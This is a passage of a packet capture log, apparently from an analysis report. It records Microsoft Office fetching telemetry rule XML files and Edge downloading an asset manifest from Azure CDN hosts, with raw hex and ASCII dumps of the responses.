Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	58726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:20 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:20 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 4e338842-401e-0016-31d5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205920Z-174f7845968px8v7hC1EWR08ng00000005u0000000001sn5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:20 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	58727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:20 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:20 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: cd0babfe-b01e-0002-56d5-331b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205920Z-174f7845968px8v7hC1EWR08ng00000005pg00000000hqyx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:20 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	58728	13.107.246.45	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:20 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:20 UTC	577	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:20 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 2bcc90d3-901e-004b-1766-34599d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T205920Z-174f7845968psccphC1EWRuz9s00000005p000000000hut4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-11 20:59:20 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-11 20:59:20 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-11 20:59:20 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-11 20:59:20 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-11 20:59:20 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-11 20:59:20 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-11 20:59:21 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-11 20:59:21 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-11 20:59:21 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-11 20:59:21 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	58736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:21 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:21 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 2f59f176-901e-002a-79d5-337a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205921Z-174f7845968qj8jrhC1EWRh41s00000005dg000000009nee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:21 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	58739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:21 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 8377dd30-c01e-00a1-3ad5-337e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205921Z-174f784596886s2bhC1EWR743w00000005fg00000000fwty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	58738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:21 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 31c5dc94-101e-008d-18d5-3392e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205921Z-174f7845968c2t8dhC1EWR8s20000000055g00000000fmuv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	58740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:21 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
